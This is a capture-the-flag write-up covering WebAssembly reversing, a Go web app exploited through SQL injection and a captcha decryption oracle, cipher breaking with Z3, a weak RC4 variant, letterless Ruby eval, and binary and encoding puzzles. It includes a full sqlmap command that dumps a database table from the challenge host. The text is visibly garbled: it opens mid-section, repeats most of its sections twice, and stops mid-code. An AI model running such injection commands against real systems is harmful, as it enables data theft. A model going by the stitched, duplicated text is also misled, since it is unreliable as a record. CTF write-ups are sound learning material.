```javascriptvar code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x02, 0x01, 0x00, 0x05, 0x03, 0x01, 0x00, 0x01, 0x07, 0x15, 0x02, 0x06, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x02, 0x00, 0x08, 0x76, 0x61, 0x6c, 0x69, 0x64, 0x61, 0x74, 0x65, 0x00, 0x00, 0x0a, 0x87, 0x01, 0x01, 0x84, 0x01, 0x01, 0x04, 0x7f, 0x41, 0x00, 0x21, 0x00, 0x02, 0x40, 0x02, 0x40, 0x03, 0x40, 0x20, 0x00, 0x41, 0x20, 0x46, 0x0d, 0x01, 0x41, 0x02, 0x21, 0x02, 0x41, 0x00, 0x21, 0x01, 0x02, 0x40, 0x03, 0x40, 0x20, 0x00, 0x20, 0x01, 0x46, 0x0d, 0x01, 0x20, 0x01, 0x41, 0x04, 0x6c, 0x41, 0x80, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6c, 0x21, 0x02, 0x20, 0x01, 0x41, 0x01, 0x6a, 0x21, 0x01, 0x0c, 0x00, 0x0b, 0x0b, 0x20, 0x00, 0x41, 0x04, 0x6c, 0x41, 0x80, 0x02, 0x6a, 0x20, 0x02, 0x41, 0x01, 0x6a, 0x36, 0x02, 0x00, 0x20, 0x00, 0x2d, 0x00, 0x00, 0x20, 0x00, 0x41, 0x80, 0x01, 0x6a, 0x2d, 0x00, 0x00, 0x73, 0x20, 0x00, 0x41, 0x04, 0x6c, 0x41, 0x80, 0x02, 0x6a, 0x2d, 0x00, 0x00, 0x47, 0x0d, 0x02, 0x20, 0x00, 0x41, 0x01, 0x6a, 0x21, 0x00, 0x0c, 0x00, 0x0b, 0x0b, 0x41, 0x01, 0x0f, 0x0b, 0x41, 0x00, 0x0b, 0x0b, 0x27, 0x01, 0x00, 0x41, 0x80, 0x01, 0x0b, 0x20, 0x4a, 0x6a, 0x5b, 0x60, 0xa0, 0x64, 0x92, 0x7d, 0xcf, 0x42, 0xeb, 0x46, 0x00, 0x17, 0xfd, 0x50, 0x31, 0x67, 0x1f, 0x27, 0x76, 0x77, 0x4e, 0x31, 0x94, 0x0e, 0x67, 0x03, 0xda, 0x19, 0xbc, 0x51]);var wa = new WebAssembly.Instance(new WebAssembly.Module(code));var buf = new Uint8Array(wa.exports.memory.buffer);async function go() { sizes = [...[...Array(4)].keys()].map(x => x * 128); buf.set(x.value.substr(sizes[0], sizes[1]) .padEnd(sizes[1]) .split('') .map(x => x.charCodeAt(''))); if (wa.exports.validate()) { hash = await window.crypto.subtle.digest("SHA-1", buf.slice(sizes[2], sizes[3])); r.innerText = "\uD83D\uDEA9 flag-" + [...new Uint8Array(hash)].map(x => x.toString(16)) .join(''); } else { r.innerHTML = x.value == "" ? " " : "\u26D4"; }}```
which, after running it through `wasm2js` from [binaryen](https://github.com/WebAssembly/binaryen), looks more like this
```javascriptfunction $0() { var $i = 0, $1 = 0, $2 = 0; $i = 0; label$1 : { label$2 : { label$3 : while (1) { if (($i) == (32)) { break label$2 } $2 = 2; $1 = 0; label$4 : { label$5 : while (1) { if (($i) == ($1)) { break label$4 } $2 = Math_imul(HEAP32[(Math_imul($1, 4) + 256) >> 2], $2); $1 = $1 + 1; continue label$5; }; } HEAP32[(Math_imul($i, 4) + 256) >> 2] = $2 + 1; if (((HEAPU8[$i]) ^ (HEAPU8[($i + 128)])) != (HEAPU8[(Math_imul($i, 4) + 256)])) { break label$1 } $i = $i + 1; continue label$3; }; } return 1; } return 0; }```
where the global buffer at index 128 is set to the string of "SmpbYKBkkn3PQutGABf9UDFnHyd2d04xlA5nA9oZvFE=" (after base64 decoding).
A simple Python equivalent, which totally doesn't have an overflow that makes it super slow to run, can be seen here:
```pythonbuffer = [0] * 65536buf_128 = "SmpbYKBkkn3PQutGABf9UDFnHyd2d04xlA5nA9oZvFE=".decode('base-64')
i, var1, var2 = 0, 0, 0flag = ""
while True: if i == 32: break var2 = 2 var1 = 0 while True: if i == var1: break var2 = buffer[(var1*4+256)>>2] * var2 var1 += 1 buffer[(i*4+256)>>2] = var2 + 1 flag += chr(((var2 + 1) ^ ord(buf_128[i])) & 0xFF) i += 1 print(flag)```
this eventually prints out `Impossible is for the unwilling.`, and entering this into the box gives our flag.

# Lockbox (600p) [go, web]
We're given an image with the URL `https://lockbox-6ebc413cec10999c.squarectf.com/?id=3` on it, and the source code to a Golang website for storing time-locked secrets. To upload a secret, you need to enter a time when your message should be decryptable, and a captcha. When you want to read a message, you need to provide both the id and the hmac of the data, and the current server time must be greater than the given timelock time. The crypto and time check alone seem good enough, and there's no glaring vulnerabilities there we can immediately use. (They are using a very bad IV, and not verifying the consistency of all the parameters together, but we can't get to the key or trick the server time into being anything else).
However, the captcha is generated in your session, but instead of giving the letters to you, they give them in an encrypted form. The `/captcha` end-point is able to decrypt this captcha message, and display it to you. So the end-point is basically a decryption oracle. If we can obtain an encrypted message, we can decrypt it with the captcha oracle, and by increasing the width parameter we can see all the letters in the output.
The `id` parameter is also being used directly inside an SQL query with no attempts at sanitation, and exploiting this is trivial. For maximum ease, I just used sqlmap for this, and the final command looked like this
`$ python sqlmap.py -o -u "https://lockbox-6ebc413cec10999c.squarectf.com/?id=3" --random-agent -D primary_app_db -T texts --dump`
```+----+--------------------------------------------------------------------------------------------------------------------------------------------------------+------------+| id | data | lock |+----+--------------------------------------------------------------------------------------------------------------------------------------------------------+------------+| 1 | TIJlneBxX-6sr4kUQdw0idCcoDh-t0lj5fU9e3cgU_gmLOZ96NrvxRe32o0wWrPJsv_66ACUTgPL_ewvHxMvOn2AGZl2opQO15rOjfkiw1lAEzhtK62J2Ce3T-SyzCpzSPSwQM6OdoF9HeZCH_xqFg | 1570492800 || 2 | P2HVNdfiXhJVnbjE70yqC2fLS8Cez0bxvfoDfDn5FRo8nAVU_R5ZTblcj5CgLw_qtM_D3zgWElLmeFqIGZwq49kgI-rvlR_tKXmFMVGbkVaTeEy6V0JM9EiRthnlIEjAq_L8Qs9WTBWZ2nzZrs57Mw | 1570665600 || 3 | Nw12G_0K_xYt4ZR3mO7cKuc5CFrrszCysLZrLgxhoGcakkjTs7x86DotIiD5fzgSZYK-zX3bWTE-dEJrmPBlgQ | 1602288000 |+----+--------------------------------------------------------------------------------------------------------------------------------------------------------+------------+```
decrypting it can be done by entering message 3 like `https://lockbox-6ebc413cec10999c.squarectf.com/captcha?w=700&c=Nw12G_0K_xYt4ZR3mO7cKuc5CFrrszCysLZrLgxhoGcakkjTs7x86DotIiD5fzgSZYK-zX3bWTE-dEJrmPBlgQ` and we get the flag as an image:

# Go cipher (1000p) [go, not web]We are given a piece of Golang code, and a bunch of ciphertext/plaintext pairs. The flag ciphertext has no plaintext component, and all ciphertexts are in hex form. Going through the code, there are a few things to notice:
1. The md5sum of the key is written at the start of each ciphertext. The only ciphertext that has a key match with the flag, is "story4.txt.enc".2. The key consists of 3 64-bit numbers; x, y and z.3. Our output is simply `(input - x) ^ y ^ z` where the lowest 8 bits of x/y/z are used.4. x is bitwise rotated 1 step to the right, and y/z are both rotated 1 step to the left. This means that y and z are shifting equally, and since the ouput is just XORed with both, we could replace them with k=y^z and treat it as a single number.
I used Z3 to recover some key that successfully encrypts `story4.txt` into the known bytes in `story4.txt.enc`. Getting the exact original key is not necessary.
```pythonfrom z3 import *
def rotl(num, bits): bit = num & (1 << (bits-1)) num <<= 1 if(bit): num |= 1 num &= (2**bits-1)
return num
def rotr(num, bits): num &= (2**bits-1) bit = num & 1 num >>= 1 if(bit): num |= (1 << (bits-1))
return num
x_org = BitVec("x", 64)y_org = BitVec("y", 64)z_org = BitVec("z", 64)
x, y, z = x_org, y_org, z_orgdata_enc = map(ord, open("story4.txt.enc").read()[32:].decode('hex'))data_dec = map(ord, open("story4.txt").read())
assert len(data_enc) == len(data_dec)
s = Solver()for i in xrange(len(data_dec)): s.add( ((data_dec[i] - (x&0xFF)) ^ (y&0xFF) ^ (z&0xFF)) &0xFF == data_enc[i]) x = RotateRight(x, 1) y = RotateLeft(y, 1) z = RotateLeft(z, 1)
if s.check() == sat: m = s.model() xx = m[x_org].as_long() yy = m[y_org].as_long() zz = m[z_org].as_long() flag_enc = map(ord, open("flag.txt.enc").read()[32:].decode('hex')) flag_dec = "" for e in flag_enc: flag_dec += chr( ((e ^ (yy&0xFF) ^ (zz&0xFF)) + xx&0xFF) & 0xFF ) xx=rotr(xx, 64) yy=rotl(yy, 64) zz=rotl(zz, 64) print(flag_dec)```
Prints `Yes, you did it! flag-742CF8ED6A2BF55807B14719`
# 20.pl (500p) [perl, cryptography]
Deobfuscating the script gives something like this```perl#!/usr/bin/perl
print( "usage: echo <plaintext|ciphertext> | $0 <key>" ) && exit unless scalar @ARGV;$/ = \1;use constant H => 128;@key = split "", $ARGV[0];for ( @a = [], $i = H ; $i-- ; $a[$i] = $i ) { }for ( $j = $i = 0 ; $i < H ; $i++ ) { $j += $a[$i] + ord $key[ $i % 16 ]; ( $a[$i], $a[ $j % H ] ) = ( $a[ $j % H ], $a[$i] );}
for ( $i = $j = $m = 0 ; <STDIN> ; print chr( ord $_ ^ $l ^ $m ) ) { $j += $a[ ++$i % H ]; ( $a[ $i % H ], $a[ $j % H ] ) = ( $a[ $j % H ], $a[ $i % H ] ); $l = $a[ ( $a[ $i % H ] + $a[ $j % H ] ) % H ]; $m = ( ord( $key[ $i / 64 % 16 ] ) << $i ) & 0xff; $x = $i / 64 % 16;} # -- Alok```
It initializes some array with values 0..128, then permutes that array based on the key (which is up to 16 bytes long). Finally, it continues to permute the array and XORs the input with elements from the array. This has all the hallmarks of RC4, except it doesn't operate on values up to 255. What this means, is that `$l` is never larger than 127, and thus the top bit of the input is never touched by XOR with `$l`. However, the input is also XORed with an `$m`, which contains a byte of the key, but shifted upwards.
Looking at the top bit of 8 consecutive bytes, will immediately give out one byte of the key, *provided that the original input was ASCII* - as printable ASCII does not have the top bit set either. Our target file is a PDF, which contain mixed ASCII parts and binary streams, and our goal is then to try to find a long enough stretch of ASCII that we can recover the key. I experimented a bit with various offsets into the code, and quickly learnt that the key was only hexadecimal letters. This narrowed the scope of candidate letters by quite a lot, and near the end of the PDF I was able to find something that decode into a key that worked.
```pythonimport operator
printable = "01234567890abcdef"
data = open("flag.pdf.enc","rb").read()
all_cands = [{} for _ in xrange(16)]
for block in range(700, len(data)//(64*16)): for i in xrange(16): cands = {} for j in xrange(8): keychar = "" for k in xrange(8): ix = (block*64*16) + i*64 + j*8 + k keychar += "1" if ord(data[ix])&0x80 else "0" c = chr(int(keychar, 2) >> 1) if c in printable: cands[c] = cands.get(c,0) + 1
for k, v in cands.iteritems(): all_cands[i][k] = all_cands[i].get(k,0) + v
key = ""
for cand in all_cands: sorted_cands = sorted(cand.iteritems(), key=operator.itemgetter(1), reverse=True) print(sorted_cands[:3]) key += sorted_cands[0][0]
print(key)```
Now we just run `cat flag.pdf.enc | perl5.20.1 20.pl 4600e0ca7e616da0 > flag.pdf` and we get the flag back. |
# Talk to me (100p) [ruby]
In this challenge, you're given the address and port to a telnet server. Connecting to it, you get a `Hello!` from the server. When you enter something back, it will either print an error, the message `I wish you would greet me the way I greeted you.` or `I can't understand you`. Experimenting a bit with the inputs, it looks like the code is doing something like `eval(input).match(...)`, except if it detects any letter it will not eval your input, but send the "I can't understand you". [This article](https://threeifbywhiskey.github.io/2014/03/05/non-alphanumeric-ruby-for-fun-and-not-much-else/) describes how you can write ruby code without letters, and since we are able to use the quote sign `'`, we can create strings with the shovel operator trick they describe. After many failed attempts at RCE, I realized that the program actually wanted me to write "Hello!" back. The solution then becomes `''<<72<<101<<108<<108<<111<<33`.
# Aesni (700p) [binary]Opening this binary in a disassembler only shows a single function, which seems to decrypt some code (using the AESENC instruction), then jumping to the decrypted code. Following the code in a debugger, we can see that this loop is actually running multiple times. It exits early if no arguments are given to the program, so we have to provide one. Simply single-stepping through the code, I see that the string `ThIs-iS-fInE` is loaded into a register and used in a comparison. If we give this as a param, the flag is returned.
```root@2f4b836ef375:/ctf/work# ./aesni ThIs-iS-fInEflag-cdce7e89a7607239```
# Decode me (150p) [snake oil]We're given a .pyc file (Python bytecode) and an "encoded" PNG file. The pyc file is easily reversed with uncompyle6 and looks like this:
```pythonimport base64, string, sysfrom random import shuffle
def encode(f, inp): s = string.printable init = lambda : (list(s), []) bag, buf = init() for x in inp: if x not in s: continue while True: r = bag[0] bag.remove(r) diff = (ord(x) - ord(r) + len(s)) % len(s) if diff == 0 or len(bag) == 0: shuffle(buf) f.write(('').join(buf)) f.write('\x00') bag, buf = init() shuffle(bag) else: break
buf.extend(r * (diff - 1)) f.write(r)
shuffle(buf) f.write(('').join(buf))
if __name__ == '__main__': with open(sys.argv[1], 'rb') as (r): w = open(sys.argv[1] + '.enc', 'wb') b64 = base64.b64encode(r.read()) encode(w, b64)```
At first glance, this code looks impossible to reverse due to its heavy use of shuffle(), and the fact that it might terminate early if `diff == 0`, giving blocks that are uneven in length. But the algorithm here is actually fairly straight-forward; base64-encode the input, initialize a permutation of all the printable characters, and *remove* one by one character from the permutation. For each letter you remove, measure the distance to the current input byte, and add (diff-1) of the removed letter to a temporary buffer. That means that if the input was an 'a', and you removed a 'g' from the permutation list, it would add `ord('g')-ord('a')-1` of the letter "g" to the temprary buffer. Once the permutation list is empty, or you run into a situation where the removed letter matches the input, the entire temporary buffer is *shuffled*, then added to the output (followed by a null-byte).
To reverse this, we need to differentiate the removed letters from the temporary buffer in the output. These two form one "block", and there are multiple blocks delimited by a null-byte in the output. Since each letter is actually removed from the permutation when encoding, we can simply take one by one letter until we find a duplicate letter that we've seen before. This marks the divide between `bag` and `buf`. The rest is simply counting the number of occurences of each letter from `bag`, as this will tell us the difference we need to add/subtract to get the real input. Because of the modulo operation, there are some bytes that could be valid ascii both as +100 and -100, but we want the one where the solution lands inside the alphabet used for base64.
The final decoder looks like this:```pythonfrom string import printable
#PNG header b64 iVBORw0KGgb64alpha = map(ord, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=")
b64buf = ""data = open("decodeme.png.enc", "rb").read()
e_counter = 0ix = 0while ix < len(data): r_list = [] while data[ix] not in r_list: r_list.append(data[ix]) ix += 1 try: STOP = ix + data[ix:].index("\x00") except ValueError: STOP = len(data)
buf = data[ix:STOP] for r in r_list: if r == "\x00": continue diff = buf.count(r) + 1 x = (diff + ord(r)) & 0xFF if x not in b64alpha: if 0 > (x - len(printable)): x += len(printable) else: x -= len(printable) if x not in b64alpha: print(x, ix, STOP, len(data), (diff + ord(r))) assert False b64buf += chr(x)
ix = STOP + 1
with open("decodeme.png", "wb") as fd: fd.write(b64buf.decode('base-64'))```
# Inwasmble (200p) [web]
We've given a link to an HTML site, where we're greeted by this box:

At first glance, the code seems to contain nothing

but opening it in a text editor, reveals that it contains a ton of unicode letters that take up no space. The code actually looks like this:
```javascriptvar code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x02, 0x01, 0x00, 0x05, 0x03, 0x01, 0x00, 0x01, 0x07, 0x15, 0x02, 0x06, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x02, 0x00, 0x08, 0x76, 0x61, 0x6c, 0x69, 0x64, 0x61, 0x74, 0x65, 0x00, 0x00, 0x0a, 0x87, 0x01, 0x01, 0x84, 0x01, 0x01, 0x04, 0x7f, 0x41, 0x00, 0x21, 0x00, 0x02, 0x40, 0x02, 0x40, 0x03, 0x40, 0x20, 0x00, 0x41, 0x20, 0x46, 0x0d, 0x01, 0x41, 0x02, 0x21, 0x02, 0x41, 0x00, 0x21, 0x01, 0x02, 0x40, 0x03, 0x40, 0x20, 0x00, 0x20, 0x01, 0x46, 0x0d, 0x01, 0x20, 0x01, 0x41, 0x04, 0x6c, 0x41, 0x80, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6c, 0x21, 0x02, 0x20, 0x01, 0x41, 0x01, 0x6a, 0x21, 0x01, 0x0c, 0x00, 0x0b, 0x0b, 0x20, 0x00, 0x41, 0x04, 0x6c, 0x41, 0x80, 0x02, 0x6a, 0x20, 0x02, 0x41, 0x01, 0x6a, 0x36, 0x02, 0x00, 0x20, 0x00, 0x2d, 0x00, 0x00, 0x20, 0x00, 0x41, 0x80, 0x01, 0x6a, 0x2d, 0x00, 0x00, 0x73, 0x20, 0x00, 0x41, 0x04, 0x6c, 0x41, 0x80, 0x02, 0x6a, 0x2d, 0x00, 0x00, 0x47, 0x0d, 0x02, 0x20, 0x00, 0x41, 0x01, 0x6a, 0x21, 0x00, 0x0c, 0x00, 0x0b, 0x0b, 0x41, 0x01, 0x0f, 0x0b, 0x41, 0x00, 0x0b, 0x0b, 0x27, 0x01, 0x00, 0x41, 0x80, 0x01, 0x0b, 0x20, 0x4a, 0x6a, 0x5b, 0x60, 0xa0, 0x64, 0x92, 0x7d, 0xcf, 0x42, 0xeb, 0x46, 0x00, 0x17, 0xfd, 0x50, 0x31, 0x67, 0x1f, 0x27, 0x76, 0x77, 0x4e, 0x31, 0x94, 0x0e, 0x67, 0x03, 0xda, 0x19, 0xbc, 0x51]);var wa = new WebAssembly.Instance(new WebAssembly.Module(code));var buf = new Uint8Array(wa.exports.memory.buffer);async function go() { sizes = [...[...Array(4)].keys()].map(x => x * 128); buf.set(x.value.substr(sizes[0], sizes[1]) .padEnd(sizes[1]) .split('') .map(x => x.charCodeAt(''))); if (wa.exports.validate()) { hash = await window.crypto.subtle.digest("SHA-1", buf.slice(sizes[2], sizes[3])); r.innerText = "\uD83D\uDEA9 flag-" + [...new Uint8Array(hash)].map(x => x.toString(16)) .join(''); } else { r.innerHTML = x.value == "" ? " " : "\u26D4"; }}```
which, after running it through `wasm2js` from [binaryen](https://github.com/WebAssembly/binaryen), looks more like this
```javascriptfunction $0() { var $i = 0, $1 = 0, $2 = 0; $i = 0; label$1 : { label$2 : { label$3 : while (1) { if (($i) == (32)) { break label$2 } $2 = 2; $1 = 0; label$4 : { label$5 : while (1) { if (($i) == ($1)) { break label$4 } $2 = Math_imul(HEAP32[(Math_imul($1, 4) + 256) >> 2], $2); $1 = $1 + 1; continue label$5; }; } HEAP32[(Math_imul($i, 4) + 256) >> 2] = $2 + 1; if (((HEAPU8[$i]) ^ (HEAPU8[($i + 128)])) != (HEAPU8[(Math_imul($i, 4) + 256)])) { break label$1 } $i = $i + 1; continue label$3; }; } return 1; } return 0; }```
where the global buffer at index 128 is set to the string of "SmpbYKBkkn3PQutGABf9UDFnHyd2d04xlA5nA9oZvFE=" (after base64 decoding).
A simple Python equivalent, which totally doesn't have an overflow that makes it super slow to run, can be seen here:
```pythonbuffer = [0] * 65536buf_128 = "SmpbYKBkkn3PQutGABf9UDFnHyd2d04xlA5nA9oZvFE=".decode('base-64')
i, var1, var2 = 0, 0, 0flag = ""
while True: if i == 32: break var2 = 2 var1 = 0 while True: if i == var1: break var2 = buffer[(var1*4+256)>>2] * var2 var1 += 1 buffer[(i*4+256)>>2] = var2 + 1 flag += chr(((var2 + 1) ^ ord(buf_128[i])) & 0xFF) i += 1 print(flag)```
this eventually prints out `Impossible is for the unwilling.`, and entering this into the box gives our flag.

# Lockbox (600p) [go, web]
We're given an image with the URL `https://lockbox-6ebc413cec10999c.squarectf.com/?id=3` on it, and the source code to a Golang website for storing time-locked secrets. To upload a secret, you need to enter a time when your message should be decryptable, and a captcha. When you want to read a message, you need to provide both the id and the hmac of the data, and the current server time must be greater than the given timelock time. The crypto and time check alone seem good enough, and there's no glaring vulnerabilities there we can immediately use. (They are using a very bad IV, and not verifying the consistency of all the parameters together, but we can't get to the key or trick the server time into being anything else).
However, the captcha is generated in your session, but instead of giving the letters to you, they give them in an encrypted form. The `/captcha` end-point is able to decrypt this captcha message, and display it to you. So the end-point is basically a decryption oracle. If we can obtain an encrypted message, we can decrypt it with the captcha oracle, and by increasing the width parameter we can see all the letters in the output.
The `id` parameter is also being used directly inside an SQL query with no attempts at sanitation, and exploiting this is trivial. For maximum ease, I just used sqlmap for this, and the final command looked like this
`$ python sqlmap.py -o -u "https://lockbox-6ebc413cec10999c.squarectf.com/?id=3" --random-agent -D primary_app_db -T texts --dump`
```+----+--------------------------------------------------------------------------------------------------------------------------------------------------------+------------+| id | data | lock |+----+--------------------------------------------------------------------------------------------------------------------------------------------------------+------------+| 1 | TIJlneBxX-6sr4kUQdw0idCcoDh-t0lj5fU9e3cgU_gmLOZ96NrvxRe32o0wWrPJsv_66ACUTgPL_ewvHxMvOn2AGZl2opQO15rOjfkiw1lAEzhtK62J2Ce3T-SyzCpzSPSwQM6OdoF9HeZCH_xqFg | 1570492800 || 2 | P2HVNdfiXhJVnbjE70yqC2fLS8Cez0bxvfoDfDn5FRo8nAVU_R5ZTblcj5CgLw_qtM_D3zgWElLmeFqIGZwq49kgI-rvlR_tKXmFMVGbkVaTeEy6V0JM9EiRthnlIEjAq_L8Qs9WTBWZ2nzZrs57Mw | 1570665600 || 3 | Nw12G_0K_xYt4ZR3mO7cKuc5CFrrszCysLZrLgxhoGcakkjTs7x86DotIiD5fzgSZYK-zX3bWTE-dEJrmPBlgQ | 1602288000 |+----+--------------------------------------------------------------------------------------------------------------------------------------------------------+------------+```
decrypting it can be done by entering message 3 like `https://lockbox-6ebc413cec10999c.squarectf.com/captcha?w=700&c=Nw12G_0K_xYt4ZR3mO7cKuc5CFrrszCysLZrLgxhoGcakkjTs7x86DotIiD5fzgSZYK-zX3bWTE-dEJrmPBlgQ` and we get the flag as an image:

# Go cipher (1000p) [go, not web]We are given a piece of Golang code, and a bunch of ciphertext/plaintext pairs. The flag ciphertext has no plaintext component, and all ciphertexts are in hex form. Going through the code, there are a few things to notice:
1. The md5sum of the key is written at the start of each ciphertext. The only ciphertext that has a key match with the flag, is "story4.txt.enc".2. The key consists of 3 64-bit numbers; x, y and z.3. Our output is simply `(input - x) ^ y ^ z` where the lowest 8 bits of x/y/z are used.4. x is bitwise rotated 1 step to the right, and y/z are both rotated 1 step to the left. This means that y and z are shifting equally, and since the ouput is just XORed with both, we could replace them with k=y^z and treat it as a single number.
I used Z3 to recover some key that successfully encrypts `story4.txt` into the known bytes in `story4.txt.enc`. Getting the exact original key is not necessary.
```pythonfrom z3 import *
def rotl(num, bits): bit = num & (1 << (bits-1)) num <<= 1 if(bit): num |= 1 num &= (2**bits-1)
return num
def rotr(num, bits): num &= (2**bits-1) bit = num & 1 num >>= 1 if(bit): num |= (1 << (bits-1))
return num
x_org = BitVec("x", 64)y_org = BitVec("y", 64)z_org = BitVec("z", 64)
x, y, z = x_org, y_org, z_orgdata_enc = map(ord, open("story4.txt.enc").read()[32:].decode('hex'))data_dec = map(ord, open("story4.txt").read())
assert len(data_enc) == len(data_dec)
s = Solver()for i in xrange(len(data_dec)): s.add( ((data_dec[i] - (x&0xFF)) ^ (y&0xFF) ^ (z&0xFF)) &0xFF == data_enc[i]) x = RotateRight(x, 1) y = RotateLeft(y, 1) z = RotateLeft(z, 1)
if s.check() == sat: m = s.model() xx = m[x_org].as_long() yy = m[y_org].as_long() zz = m[z_org].as_long() flag_enc = map(ord, open("flag.txt.enc").read()[32:].decode('hex')) flag_dec = "" for e in flag_enc: flag_dec += chr( ((e ^ (yy&0xFF) ^ (zz&0xFF)) + xx&0xFF) & 0xFF ) xx=rotr(xx, 64) yy=rotl(yy, 64) zz=rotl(zz, 64) print(flag_dec)```
Prints `Yes, you did it! flag-742CF8ED6A2BF55807B14719`
# 20.pl (500p) [perl, cryptography]
Deobfuscating the script gives something like this```perl#!/usr/bin/perl
print( "usage: echo <plaintext|ciphertext> | $0 <key>" ) && exit unless scalar @ARGV;$/ = \1;use constant H => 128;@key = split "", $ARGV[0];for ( @a = [], $i = H ; $i-- ; $a[$i] = $i ) { }for ( $j = $i = 0 ; $i < H ; $i++ ) { $j += $a[$i] + ord $key[ $i % 16 ]; ( $a[$i], $a[ $j % H ] ) = ( $a[ $j % H ], $a[$i] );}
for ( $i = $j = $m = 0 ; <STDIN> ; print chr( ord $_ ^ $l ^ $m ) ) { $j += $a[ ++$i % H ]; ( $a[ $i % H ], $a[ $j % H ] ) = ( $a[ $j % H ], $a[ $i % H ] ); $l = $a[ ( $a[ $i % H ] + $a[ $j % H ] ) % H ]; $m = ( ord( $key[ $i / 64 % 16 ] ) << $i ) & 0xff; $x = $i / 64 % 16;} # -- Alok```
It initializes some array with values 0..128, then permutes that array based on the key (which is up to 16 bytes long). Finally, it continues to permute the array and XORs the input with elements from the array. This has all the hallmarks of RC4, except it doesn't operate on values up to 255. What this means, is that `$l` is never larger than 127, and thus the top bit of the input is never touched by XOR with `$l`. However, the input is also XORed with an `$m`, which contains a byte of the key, but shifted upwards.
Looking at the top bit of 8 consecutive bytes, will immediately give out one byte of the key, *provided that the original input was ASCII* - as printable ASCII does not have the top bit set either. Our target file is a PDF, which contain mixed ASCII parts and binary streams, and our goal is then to try to find a long enough stretch of ASCII that we can recover the key. I experimented a bit with various offsets into the code, and quickly learnt that the key was only hexadecimal letters. This narrowed the scope of candidate letters by quite a lot, and near the end of the PDF I was able to find something that decode into a key that worked.
```pythonimport operator
printable = "01234567890abcdef"
data = open("flag.pdf.enc","rb").read()
all_cands = [{} for _ in xrange(16)]
for block in range(700, len(data)//(64*16)): for i in xrange(16): cands = {} for j in xrange(8): keychar = "" for k in xrange(8): ix = (block*64*16) + i*64 + j*8 + k keychar += "1" if ord(data[ix])&0x80 else "0" c = chr(int(keychar, 2) >> 1) if c in printable: cands[c] = cands.get(c,0) + 1
for k, v in cands.iteritems(): all_cands[i][k] = all_cands[i].get(k,0) + v
key = ""
for cand in all_cands: sorted_cands = sorted(cand.iteritems(), key=operator.itemgetter(1), reverse=True) print(sorted_cands[:3]) key += sorted_cands[0][0]
print(key)```
Now we just run `cat flag.pdf.enc | perl5.20.1 20.pl 4600e0ca7e616da0 > flag.pdf` and we get the flag back. |
# Talk to me (100p) [ruby]
In this challenge, you're given the address and port to a telnet server. Connecting to it, you get a `Hello!` from the server. When you enter something back, it will either print an error, the message `I wish you would greet me the way I greeted you.` or `I can't understand you`. Experimenting a bit with the inputs, it looks like the code is doing something like `eval(input).match(...)`, except if it detects any letter it will not eval your input, but send the "I can't understand you". [This article](https://threeifbywhiskey.github.io/2014/03/05/non-alphanumeric-ruby-for-fun-and-not-much-else/) describes how you can write ruby code without letters, and since we are able to use the quote sign `'`, we can create strings with the shovel operator trick they describe. After many failed attempts at RCE, I realized that the program actually wanted me to write "Hello!" back. The solution then becomes `''<<72<<101<<108<<108<<111<<33`.
# Aesni (700p) [binary]Opening this binary in a disassembler only shows a single function, which seems to decrypt some code (using the AESENC instruction), then jumping to the decrypted code. Following the code in a debugger, we can see that this loop is actually running multiple times. It exits early if no arguments are given to the program, so we have to provide one. Simply single-stepping through the code, I see that the string `ThIs-iS-fInE` is loaded into a register and used in a comparison. If we give this as a param, the flag is returned.
```root@2f4b836ef375:/ctf/work# ./aesni ThIs-iS-fInEflag-cdce7e89a7607239```
# Decode me (150p) [snake oil]We're given a .pyc file (Python bytecode) and an "encoded" PNG file. The pyc file is easily reversed with uncompyle6 and looks like this:
```pythonimport base64, string, sysfrom random import shuffle
def encode(f, inp): s = string.printable init = lambda : (list(s), []) bag, buf = init() for x in inp: if x not in s: continue while True: r = bag[0] bag.remove(r) diff = (ord(x) - ord(r) + len(s)) % len(s) if diff == 0 or len(bag) == 0: shuffle(buf) f.write(('').join(buf)) f.write('\x00') bag, buf = init() shuffle(bag) else: break
buf.extend(r * (diff - 1)) f.write(r)
shuffle(buf) f.write(('').join(buf))
if __name__ == '__main__': with open(sys.argv[1], 'rb') as (r): w = open(sys.argv[1] + '.enc', 'wb') b64 = base64.b64encode(r.read()) encode(w, b64)```
At first glance, this code looks impossible to reverse due to its heavy use of shuffle(), and the fact that it might terminate early if `diff == 0`, giving blocks that are uneven in length. But the algorithm here is actually fairly straight-forward; base64-encode the input, initialize a permutation of all the printable characters, and *remove* one by one character from the permutation. For each letter you remove, measure the distance to the current input byte, and add (diff-1) of the removed letter to a temporary buffer. That means that if the input was an 'a', and you removed a 'g' from the permutation list, it would add `ord('g')-ord('a')-1` of the letter "g" to the temprary buffer. Once the permutation list is empty, or you run into a situation where the removed letter matches the input, the entire temporary buffer is *shuffled*, then added to the output (followed by a null-byte).
To reverse this, we need to differentiate the removed letters from the temporary buffer in the output. These two form one "block", and there are multiple blocks delimited by a null-byte in the output. Since each letter is actually removed from the permutation when encoding, we can simply take one by one letter until we find a duplicate letter that we've seen before. This marks the divide between `bag` and `buf`. The rest is simply counting the number of occurences of each letter from `bag`, as this will tell us the difference we need to add/subtract to get the real input. Because of the modulo operation, there are some bytes that could be valid ascii both as +100 and -100, but we want the one where the solution lands inside the alphabet used for base64.
The final decoder looks like this:```pythonfrom string import printable
#PNG header b64 iVBORw0KGgb64alpha = map(ord, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=")
b64buf = ""data = open("decodeme.png.enc", "rb").read()
e_counter = 0ix = 0while ix < len(data): r_list = [] while data[ix] not in r_list: r_list.append(data[ix]) ix += 1 try: STOP = ix + data[ix:].index("\x00") except ValueError: STOP = len(data)
